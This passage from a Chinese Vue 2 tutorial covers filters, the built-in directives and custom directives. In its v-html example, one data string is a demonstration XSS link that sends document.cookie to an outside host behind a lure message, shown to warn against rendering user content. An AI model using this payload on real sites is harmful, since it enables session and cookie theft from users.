      <!-- {{1 | 2 | 3}}工作原理:1传给函数2,函数2的返回值传给函数3,函数3的返回值替代整个插值语法 -->

      <!-- v-bind:中也能使用插值语法 -->
			<h3 :x="msg | mySlice">刺客伍六七</h3>
		</div>

		<div id="root2">
			<h2>{{msg | mySlice}}</h2>
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false
		//全局过滤器
		Vue.filter('mySlice',function(value){
			return value.slice(0,4)
		})
		
		new Vue({
			el:'#root',
			data:{
				time:1621561377603, //时间戳
				msg:'你好,刺客伍六七'
			},
			computed: {
				fmtTime(){
          // dayjs(this.time),调用传入的时间,不传变量,就调用当前时间
          // .format('YYYY年MM月DD日 HH:mm:ss') 格式化(格式化模板)
					return dayjs(this.time).format('YYYY年MM月DD日 HH:mm:ss')
				}
			},
			methods: {
				getFmtTime(){
					return dayjs(this.time).format('YYYY年MM月DD日 HH:mm:ss')
				}
			},
			//局部过滤器
			filters:{
        // 如果str有值传过来,就用你传过来的值,没有值,就用默认的str='YYYY年MM月DD日 HH:mm:ss'
        // timeFormater过滤器
				timeFormater(value,str='YYYY年MM月DD日 HH:mm:ss'){
					// console.log('@',value)
					return dayjs(value).format(str)
				},
        mySlice(value){
          // 只取value的前四个字符
          return value.slice(0,4)
        }
			}
		})

		new Vue({
			el:'#root2',
			data:{
				msg:'hello,梅小姐!'
			}
		})
	</script>
</html>
14.内置指令

1.v-text

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>v-text指令</title>
		<!-- 引入Vue -->
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<!-- 
				我们学过的指令:
						v-bind	: 单向绑定解析表达式, 可简写为 :xxx
						v-model	: 双向数据绑定
						v-for  	: 遍历数组/对象/字符串
						v-on   	: 绑定事件监听, 可简写为@
						v-if 	 	: 条件渲染(动态控制节点是否存存在)
						v-else 	: 条件渲染(动态控制节点是否存存在)
						v-show 	: 条件渲染 (动态控制节点是否展示)
				v-text指令:
						1.作用:向其所在的节点中渲染文本内容。
						2.与插值语法的区别:v-text会替换掉节点中的内容,{{xx}}则不会。
		-->
		<!-- 准备好一个容器-->
		<div id="root">
			<div>你好,{{name}}</div>
			<div v-text="name"></div>
            <!-- str中的h3不被解析 -->
			<div v-text="str"></div>
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
		
		new Vue({
			el:'#root',
			data:{
				name:'刺客伍六七',
				str:'<h3>你好啊!</h3>'
			}
		})
	</script>
</html>

2.v-html

  • cookie是什么?

cookie 作为用户登录时的一种状态信息,Cookie是保存在客户端的纯文本文件。比如txt文件。所谓的客户端就是我们自己的本地电脑。当我们使用自己的电脑通过浏览器进行访问网页的时候,服务器就会生成一个证书并返回给我的浏览器并写入我们的本地电脑。这个证书就是cookie。一般来说cookie都是服务器端写入客户端的纯文本文件。

  • v-html 用来更新元素的 innerHTML,但是存在一定的安全性。

注意:
1、内容按普通 HTML 插入 - 不会作为 Vue 模板进行编译。

2、在网站上动态渲染任意 HTML 是非常危险的,因为容易导致 XSS 攻击。只在可信内容上使用 v-html,永不用在用户提交的内容上。

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>v-html指令</title>
		<!-- 引入Vue -->
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<!-- 
				v-html指令:
						1.作用:向指定节点中渲染包含html结构的内容。
						2.与插值语法的区别:
									(1).v-html会替换掉节点中所有的内容,{{xx}}则不会。
									(2).v-html可以识别html结构。
						3.严重注意:v-html有安全性问题!!!!
									(1).在网站上动态渲染任意HTML是非常危险的,容易导致XSS攻击。
									(2).一定要在可信的内容上使用v-html,永不要用在用户提交的内容上!
		-->
		<!-- 准备好一个容器-->
		<div id="root">
			<div>你好,{{name}}</div>
			<div v-html="str"></div>
			<div v-html="str2"></div>
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

		new Vue({
			el:'#root',
			data:{
				name:'尚硅谷',
				str:'<h3>你好啊!</h3>',
				str2:'<a href=javascript:location.href="http://www.baidu.com?"+document.cookie>兄弟我找到你想要的资源了,快来!</a>',
			}
		})
	</script>
</html>

3.v-cloak指令(没有值)

  • 本质是一个特殊属性,Vue实例创建完毕并接管容器后,会删掉v-cloak属性。
  • 使用css配合v-cloak可以解决网速慢时页面展示出{{xxx}}的问题。
<style>
/* 选中所有标签中含有v-cloak属性的容器,并让含有该属性的容器不展示 */
[v-cloak]{
	display:none;
}
</style>
<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>v-cloak指令</title>
		<style>
      /* 选中所有标签中含有v-cloak属性的容器,并让含有该属性的容器不展示 */
			[v-cloak]{
				display:none;
			}
		</style>
		<!-- 引入Vue -->
	</head>
	<body>
		<!-- 
				v-cloak指令(没有值):
						1.本质是一个特殊属性,Vue实例创建完毕并接管容器后,会删掉v-cloak属性。
						2.使用css配合v-cloak可以解决网速慢时页面展示出{{xxx}}的问题。
		-->
		<!-- 准备好一个容器-->
		<div id="root">
      <!-- 是一个特殊属性,Vue实例创建完毕并接管容器后,会删掉v-cloak属性 -->
			<h2 v-cloak>{{name}}</h2>
		</div>
		<script type="text/javascript" src="http://localhost:8080/resource/5s/vue.js"></script>
	</body>
	
	<script type="text/javascript">
		console.log(1)
		Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
		
		new Vue({
			el:'#root',
			data:{
				name:'尚硅谷'
			}
		})
	</script>
</html>

4.v-once指令(没有值)

如果只想页面加载时显示一次,后续不在因为数据信息的变动而变动时,就可以采取v-once实现。【只动态的读取一次,后续该值再变化时,不再刷新该值】

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>v-once指令</title>
		<!-- 引入Vue -->
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<!-- 
			v-once指令:
						1.v-once所在节点在初次动态渲染后,就视为静态内容了。
						2.以后数据的改变不会引起v-once所在结构的更新,可以用于优化性能。
		-->
		<!-- 准备好一个容器-->
		<div id="root">
			<h2 v-once>初始化的n值是:{{n}}</h2>
			<h2>当前的n值是:{{n}}</h2>
			<button @click="n++">点我n+1</button>
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
		
		new Vue({
			el:'#root',
			data:{
				n:1
			}
		})
	</script>
</html>

4.v-pre指令(没有值)

v-pre用来跳过当前节点的编译过程,加快编译速度。

可利用它跳过:没有使用指令语法、没有使用插值语法的节点【不需要解析模板的节点】,会加快编译。

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>v-pre指令</title>
		<!-- 引入Vue -->
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<!-- 
			v-pre指令:
					1.跳过其所在节点的编译过程。
					2.可利用它跳过:没有使用指令语法、没有使用插值语法的节点,会加快编译。
		-->
		<!-- 准备好一个容器-->
		<div id="root">
			<h2 v-pre>Vue其实很简单</h2>
			<h2 >当前的n值是:{{n}}</h2>
			<button @click="n++">点我n+1</button>
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

		new Vue({
			el:'#root',
			data:{
				n:1
			}
		})
	</script>
</html>
16.自定义指令
钩子函数

一个指令定义对象可以提供如下几个钩子函数 (均为可选):

  • bind:只调用一次,指令第一次绑定到元素时调用。在这里可以进行一次性的初始化设置。

  • inserted:被绑定元素插入【页面】父节点时调用 (仅保证父节点存在,但不一定已被插入文档中)。

  • update:所在组件的 VNode 更新时调用,但是可能发生在其子 VNode 更新之前。指令的值可能发生了改变,也可能没有。但是你可以通过比较更新前后的值来忽略不必要的模板更新 (详细的钩子函数参数见下)。

  • componentUpdated:指令所在组件的 VNode 及其子 VNode 全部更新后调用。

  • unbind:只调用一次,指令与元素解绑时调用。

​ 接下来我们来看一下钩子函数的参数 (即 elementbindingvnodeoldVnode)。

指令钩子函数【big(element,binding){}为例】会被传入以下参数【没有列全】

  • element:指令所绑定的元素,可以用来直接操作 DOM。

  • binding:一个对象,包含以下 property:

    • name:指令名,不包括 v- 前缀【big
    • value:指令的绑定值,例如:v-big="n" 中,绑定值n为 1
    • oldValue:指令绑定的前一个值,仅在 updatecomponentUpdated 钩子中可用。无论值是否改变都可用。
    • expression:字符串形式的指令表达式。例如 v-big="n" 中,表达式为 "n"
    • arg:传给指令的参数,可选。例如 v-my-directive:foo 中,参数为 "foo"
    • modifiers:一个包含修饰符的对象。例如:v-my-directive.foo.bar 中,修饰符对象为 { foo: true, bar: true }

    .........等等

除了 element 之外,其它参数都应该是只读的,切勿进行修改。

<!-- 需求1:定义一个v-big指令,和v-text功能类似,但会把绑定的数值放大10倍。 -->
<body>
  <!-- 准备好一个容器-->
  <div id="root">
    <h2>{{name}}</h2>
    <h2>当前的n值是:<span v-text="n"></span> </h2>
    <!-- <h2>放大10倍后的n值是:<span v-big-number="n"></span> </h2> -->
    <h2>放大10倍后的n值是:<span v-big="n"></span> </h2>
    <button @click="n++">点我n+1</button>
    <!-- <hr /> -->
  </div>
</body>

<script>
  Vue.config.productionTip = false
  new Vue({
	el:'#root',
	data:{
		name:'尚硅谷',
		n:1
	},
	directives:{
	//big函数何时会被调用?1.指令与元素成功绑定时(一上来)。2.指令所在的模板被重新解析时。
    /* <span v-big="n"></span> :v-big和<span></span>绑定在一起,做关联
    element:<span></span>这个真实DOM【指令所绑定的元素,可以用来直接操作DOM】
    binding:一个对象,包含很多 property */
		big(element,binding){
       // console.log(binding);
		console.log('big',this) //注意此处的this是window
		element.innerText = binding.value * 10
		}
      }})
</script>
  • appendChild() :可向节点的子节点列表的末尾添加新的子节点。

1.回顾一个DOM操作

<!DOCTYPE html>
<html>

<head>
  <meta charset="UTF-8" />
  <title>Document</title>
  <style>
    .demo {
      background-color: orange;
    }
  </style>
</head>
<body>
  <button id="btn">点我创建一个输入框</button>
  <script type="text/javascript">
    const btn = document.getElementById('btn')
    btn.onclick = () =>
    {
      // 创建一个input元素
      const input = document.createElement('input')
      // 类名:demo
      input.className = 'demo'
      // input的值
      input.value = 99
      // 点击input元素会触发弹窗
      input.onclick = () => { alert(1) }
      // appendChild() 方法可向节点的子节点列表的末尾添加新的子节点。
      // 将上面创建的input元素加入到body的尾部
      document.body.appendChild(input)
      // 使用JavaScript的方法聚焦:input.focus()---->聚焦于input元素
      input.focus()
      // input元素节点的父元素节点的样式背景设置:天蓝色
      input.parentElement.style.backgroundColor = 'skyblue'
      console.log(input.parentElement)

    }
  </script>
</body>

</html>

2.自定义指令

2.2函数的简写

<script>
      //big函数何时会被调用?1.指令与元素成功绑定时(一上来)。2.指令所在的模板被重新解析时。
      big (element, binding)
      {
        console.log('big', this) //注意此处的this是window
        // console.log('big')
        element.innerText = binding.value * 10
      },
      // 简写
      /* 'big-number'(element,binding){
        // console.log('big')
        element.innerText = binding.value * 10
      }, */
      // 完整写法
      'big-number':function(element, binding)
      {
        // console.log('big')
        element.innerText = binding.value * 10
      },
</script>
  • 注意:autofocus 在移动版 Safari 上不工作

2.2以对象的形式自定义fbind指令

<!DOCTYPE html>
<html>

<head>
  <meta charset="UTF-8" />
  <title>自定义指令</title>
  <script type="text/javascript" src="../js/vue.js"></script>
</head>

<body>
  <!-- 
	需求1:定义一个v-big指令,和v-text功能类似,但会把绑定的数值放大10倍。
	需求2:定义一个v-fbind指令,和v-bind功能类似,但可以让其所绑定的input元素默认获取焦点。
	自定义指令总结:
	一、定义语法:
		(1).局部指令:
			new Vue({							new Vue({
		     directives:{指令名:配置对象}      或   directives{指令名:回调函数}
			}) 							          })
		(2).全局指令:
		   Vue.directive(指令名,配置对象)  或   Vue.directive(指令名,回调函数)

	二、配置对象中常用的3个回调:
		(1).bind:指令与元素成功绑定时调用。
		(2).inserted:指令所在元素被插入页面时调用。
		(3).update:指令所在模板结构被重新解析时调用。

	三、备注:
		1.指令定义时不加v-,但使用时要加v-;
		2.指令名如果是多个单词,要使用kebab-case命名方式,不要用camelCase命名。
		-->
  <!-- 准备好一个容器-->
  <div id="root">
    <h2>{{name}}</h2>
    <h2>当前的n值是:<span v-text="n"></span> </h2>
    <!-- <h2>放大10倍后的n值是:<span v-big-number="n"></span> </h2>
    <h2>放大10倍后的n值是:<span v-big="n"></span> </h2> -->
    <button @click="n++">点我n+1</button>
    <hr />
    <input type="text" v-fbind:value="n">
  </div>
</body>

<script type="text/javascript">
  Vue.config.productionTip = false

  //定义或注册一个全局自定义指令fbind
  /* Vue.directive('fbind',{
    //指令与元素成功绑定时(一上来)
    bind(element,binding){
      element.value = binding.value
    },
    //指令所在元素被插入页面时    当被绑定的元素插入到 DOM 中时……
    inserted(element,binding){
      element.focus()
    },
    //指令所在的模板被重新解析时
    update(element,binding){
      element.value = binding.value
    }
  }) */

  new Vue({
    el: '#root',
    data: {
      name: '尚硅谷',
      n: 1
    },
    directives: {
      //big函数何时会被调用?1.指令与元素成功绑定时(一上来)。2.指令所在的模板被重新解析时。
      // #region
      big (element, binding)
      {
        console.log('big', this) //注意此处的this是window
        // console.log('big')
        element.innerText = binding.value * 10
      },
      // 简写
      /* 'big-number'(element,binding){
        // console.log('big')
        element.innerText = binding.value * 10
      }, */
      // 完整写法
      'big-number': function (element, binding)
      {
        // console.log('big')
        element.innerText = binding.value * 10
      },
      // #endregion
      
      // 以对象的形式自定义fbind指令以实现需求2【以函数的形式没办法实现需求2】
      fbind: {
        //指令与元素成功绑定时(一上来)
        bind (element, binding)
        {
          // <input type="text" v-fbind:value="n">
          // 关联的元素的值【input元素节点】==指令绑定的值【n】
          element.value = binding.value
        },
        //指令所在元素被插入页面【父节点】时,插入页面后才能聚焦
        inserted (element, binding)
        {
          element.focus()
        },
        //指令所在的模板被重新解析时
        update (element, binding)
        {
          element.value = binding.value
        }
      }
    }
  })
</script>
</html>
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值